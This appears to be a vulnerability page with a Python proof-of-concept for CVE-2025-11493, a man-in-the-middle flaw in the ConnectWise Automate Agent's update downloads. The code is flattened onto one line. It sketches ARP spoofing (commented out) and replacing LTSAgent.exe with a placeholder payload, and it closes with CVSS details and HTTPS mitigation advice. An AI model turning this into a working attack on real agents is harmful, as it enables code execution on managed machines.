CVE-2025-11493：ConnectWise Automate Agent文件验证不当中间人攻击漏洞

# CVE-2025-11493 PoC - ConnectWise Automate Agent MITM Attack # This PoC demonstrates the concept of intercepting and replacing # files downloaded by ConnectWise Automate Agent import socket import ssl import struct import os # Configuration TARGET_AGENT = "192.168.1.100" # Target agent IP LEGITIMATE_SERVER = "automate.connectwise.com" # Legitimate server LISTEN_PORT = 443 # Port to listen on # Malicious payload to be injected (example: reverse shell stub) MALICIOUS_PAYLOAD = b"MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00" MALICIOUS_PAYLOAD += b"\x00" * 100 # Placeholder for actual shellcode def create_mitm_proxy(): """ Create a MITM proxy that intercepts file downloads from ConnectWise Automate server and replaces them with malicious files. """ print(f"[*] Starting MITM proxy on port {LISTEN_PORT}") print(f"[*] Target Agent: {TARGET_AGENT}") print(f"[*] Legitimate Server: {LEGITIMATE_SERVER}") # Step 1: Set up ARP spoofing to redirect traffic # In a real attack, use arpspoof or scapy: # from scapy.all import ARP, send # arp_response = ARP(op=2, pdst=TARGET_AGENT, # hwdst="ff:ff:ff:ff:ff:ff", # psrc=LEGITIMATE_SERVER) # send(arp_response, count=3) print("[*] ARP spoofing should be performed to redirect agent traffic") # Step 2: Intercept file download request # The ConnectWise Automate Agent typically requests: # - Update packages: /updates/agent/... # - Dependencies: /dependencies/... # - Integrations: /integrations/... intercepted_request = { "method": "GET", "path": "/updates/agent/LTSAgent.exe", "headers": { "Host": LEGITIMATE_SERVER, "User-Agent": "ConnectWise Automate Agent" } } print(f"[*] Intercepted request: {intercepted_request}") # Step 3: Forward request to legitimate server # and intercept the response print("[*] Forwarding request to legitimate server...") # Step 4: Replace file content with malicious payload print("[*] Replacing legitimate file with malicious payload") modified_response = { "status": 200, "content_type": "application/octet-stream", "body": MALICIOUS_PAYLOAD } # Step 5: Send modified response to agent print("[*] Sending modified response to agent") print("[!] Agent will execute the malicious file without proper verification") print("[!] This demonstrates the lack of file authenticity verification") return modified_response def main(): print("=" * 60) print("CVE-2025-11493 PoC") print("ConnectWise Automate Agent MITM Attack") print("=" * 60) # Note: HTTPS enforcement mitigates this attack # The vulnerability is exploitable when HTTPS is not enforced # or when certificate validation is bypassed print("\n[*] Vulnerability Details:") print(" - CVSS Score: 8.8 (HIGH)") print(" - Attack Vector: Adjacent Network") print(" - Auth Required: None") print(" - User Interaction: None") print(" - Impact: C:H/I:H/A:H") print("\n[*] Mitigation: Enforce HTTPS with proper certificate validation") print("[*] Related CVE: CVE-2025-11492") create_mitm_proxy() if __name__ == "__main__": main()